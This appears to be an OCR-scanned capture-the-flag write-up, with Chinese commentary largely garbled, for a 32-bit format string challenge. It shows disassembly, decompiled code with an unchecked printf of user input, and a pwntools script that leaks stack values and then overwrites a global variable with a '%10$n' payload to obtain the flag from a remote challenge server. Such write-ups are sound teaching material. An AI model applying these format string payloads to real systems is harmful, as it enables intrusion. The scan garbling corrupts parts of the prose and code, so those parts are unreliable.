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checksec 5982010c172744c8alc93c24b5200b21
[*] '"/ctf/work/python/5982010c172744c8alc93c24b5200b21"

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled

PIE: No PIE (0©x8048000)
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Library function [l Regular function [l Instruction
[#] Functions window =i x ]

Function name

[#] _init_proc

[F] sub_8048430

[#] _setbuf

[7] _read

[#] _printf

[7] _fgets

[F] __stack_chk fail
[7] _puts

[#] _system

[F] _gmon_start__
[F] _libc_start_main
[F] _start

[F] _x86_get_pc_thunk_bx
[F] deregister_tm_clones
[] register_tm_clones
[F] _do_global_dtors_aux
[#] frame_dummy

[F] main

[F] _libc_csu_init

[#] _libc_csu_fini

[#] _term_proc

[7] setbuf

[#] read

[7] printf

[7] fgets

[F] _stack_chk_fail
[7] puts

[7] system

[] _libc_start_main
[F] _gmon_start__

Output window

IDA - 5982010c172744c8a1¢c93c24b5200b21 /Users/mac126/pwn/python/5982010c172744c8a1¢
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Data

.text:080485CD
.text:080485CD

.text:080485CD ;

.text:080485CD

Unexplored

‘s*v#lﬁlxbmm

B e

No debugger

x 18

External symbol
IDA View-A ()=l

== SUBROUTINE

Hex View-1 Structures Q[E E

o[

Attributes: bp-based frame

.text:080485CD ; int _ cdecl main(int argc, const char **argv, const char **envp)
public main

.text:080485CD
.text:080485CD
.text:080485CD
.text:080485CD
.text:080485CD
.text:080485CD

main

buf
s
argc

proc near ;

DATA XREF: start+l7To

byte ptr -7Eh
byte ptr -74h
dword ptr 8

.text:080485CD argv dword ptr OCh

.text:080485CD envp dword ptr 10h

.text:080485CD

.text:080485CD ; _ unwind {

.text:080485CD push ebp

.text:080485CE mov ebp, esp

.text:080485D0 push edi

.text:080485D1 push esi

.text:080485D2 push ebx

.text:080485D3 and esp, OFFFFFFFOh
.text:080485D6 sub esp, 90h

.text:080485DC mov eax, large gs:l4h
.text:080485E2 mov [esp+8Ch], eax
.text:080485E9 xor eax, eax

.text:080485EB mov eax, ds:stdin@@GLIBC_2 0
.text:080485F0 mov dword ptr [esp+4], 0 ; buf
.text:080485F8 mov [esp], eax ; stream
.text:080485FB call _setbuf

.text:08048600 mov eax, ds:stdout@@GLIBC_2_0
.text:08048605 mov dword ptr [esp+4], 0 ; buf
.text:0804860D mov [esp], eax ; stream
.text:08048610 call _setbuf

.text:08048615 mov eax, ds:stderr@@GLIBC_2_0
.text:0804861A mov dword ptr [esp+4], 0 ; buf
.text:08048622 mov [esp], eax ; stream
.text:08048625 call _setbuf

.text:0804862A mov dword ptr [esp+lEh], 0
.text:08048632 mov dword ptr [esp+22h], 0
.text:0804863A mov word ptr [esp+26h], 0
.text:08048641 lea ebx, [esp+28h]
.text:08048645 mov eax, 0

.text:0804864A mov edx, 19h

.text:0804864F mov edi, ebx

.text:08048651 mov ecx, edx

.text:08048653 rep stosd

.text:08048655 mov dword ptr [esp], offset s ; "please tell me your name:"
.text:0804865C call _puts

.text:08048661 mov dword ptr [esp+8], OAh ; nbytes
text:08048669 lea eax, [esp+9Ch+buf]
.text:0804866D mov [esp+d], eax ; buf
.text:08048671 mov dword ptr [esp], 0 ; fd
.text:08048678 call _read

.text:0804867D mov dword ptr [esp], offset alLeaveYourMessa ; "leave your message please:"
.text:08048684 call _puts

.text:08048689 mov eax, ds:stdin@@GLIBC_2 0
.text:0804868E mov [espt8], eax ; stream
.text:08048692 mov dword ptr [esp+4], 64h ; n
.text:0804869A lea eax, [esp+ICh+s]
.text:0804869E mov [esp], eax i s
.text:080486A1 call _fgets

.text:080486A6 lea eax, [esp+lEh]
.text:080486AA mov [esp+d], eax
.text:080486AE mov dword ptr [esp], offset format ; "hello %s"
-text:080486B5 call rintf

.text:080486BA mov dword ptr [esp], offset aYou. Is ; "your is:"
.text:080486C1 call _puts

.text:080486C6 lea eax, [esp+ICh+s]
.text:080486CA mov [esp], eax ; format
.text:080486CD call _printf

000005D6 00000000080485D6: main+9 (Synchronized with Hex View-1)

Function argument i lon nas peen pr
The initial autoanalysis has been finished.

Python

AU: idle Down Disk: 12GB
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int _ cdecl main(int argc, const char **argv, const char **envp)
{

int buf; // [esp+1Eh] [ebp-7Eh]

int v5; // [esp+22h] [ebp-7Ah]

__int16 v6; // [esp+26h] [ebp-76h]

char s; // [esp+28h] [ebp-74h]

unsigned int v8; // [esp+8Ch] [ebp-10h]

v8 = _ readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, ©0);
setbuf(stderr, 0);

buf = 0;
v5 = 0;
V6 = 0;

memset(&s, 0, Ox64u);
puts(“please tell me your name:");
read(0, &buf, OxAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}

else

{
puts(“Thank you!");

}

return 0;
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payload = 'A'*4 + '%x,'*10 + '%x'
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#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./5982010c172744c8a1c93c24b5200b21")
# p = remote("111.198.29.45", 59952)

payload = 'A'*4 + "%x,'*10 + '%x'

p.sendlineafter('name:', 'aaa')
p.sendlineafter('please:', payload)
p.interactive()

PATZ RIS R T -

root@mypwn: /ctf/work/python# python CGfsb.py
[+] Starting local process './5982010c172744c8a1c93c24b5200b21': pid 58
[*] Switching to interactive mode

[*] Process './5982010c172744c8a1c93c24b5200b21' stopped with exit code @ (pid 5
8)

hello aaa

your message is:
AAAATT96esle, T77885cH, Ffo6edbe, T77cla9c,1l,T7795410,61610001,a61,0) 41414141} 252c¢7
825

Thank you!

[*] Got EOF while reading in interactive

X BES it ERNKI414141 41 R EEE 10 B
FATE B — T B B8 B B = iR 510, JEIRFGagfiNE, BITERER K.

if ( pwnme == 8 )

{
puts("you pwned me, here is your flag:\n");
system("cat flag");

}

pwnmelR ¥ £ & 3 'E R bss Bt 1 i) — AN BdE s bt

.bss:0804A068 pwnme dd ? ; DATA XREF: main+1@5tr

BAE=ARMEE T, BATEF R E— T payload

payload = p32(0x0804A068) + 'A'*4 + '%l0$n’

REBE—T%REANTEHE, %10SnHEERFHTHETAFEI0NSH, thRBANZ AT E ALK MEE

p32(0x0804A068) + 'A*4 i+ H R8N F4F, Wl RIL8E AF|0x0804A068F T E M, WA= T4 Epwnme
T {E 8

ARBR A 4k B4 18 — T A AT KIpython i 4



#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./5982010c172744c8alc93c24b5200b21")
# p = remote("111.198.29.45", 59952)

# payload = 'A'*4 + '%x,'*10 + '%x'
payload = p32(0x0804A068) + 'A'*4 + '%10%$n’

p.sendlineafter('name:', 'aaa')
p.sendlineafter('please:', payload)
p.interactive()

PATE R T :

root@mypwn:/ctf/work/python# python CGfsb.py
[+] Starting local process './5982010c172744c8al1c93c24b5200b21': pid 69
[*] Switching to interactive mode

hello aaa

your message is:

h\xa0\x0AAAA

you pwned me, here is your flag:

cat: flag: No such file or directory
[*] Process './5982010c172744c8al1c93c24b5200b21"' stopped with exit code @ (pid 69)
[*] Got EOF while reading in interactive

HEE 2T “you pwned me, here is your flag:”, B AAME A laget:, FrLAEA LhrflaglEii

ERRFIAT ELERBINN, BARMNEE— T RATZERAT, pythonREBBMABFIEHRT, BHITRH, $ITE
Wr:

root@mypwn: /ctf/work/python# python CGfsb.py
[+] Opening connection to 111.198.29.45 on port 59952: Done
[*] Switching to interactive mode

hello aaa

your message is:

h\xa@\x0AAAA

you pwned me, here is your flag:

cyberpeace{3f45d72f69056de04a6cf274a132a374}
[*] Got EOF while reading in interactive

$
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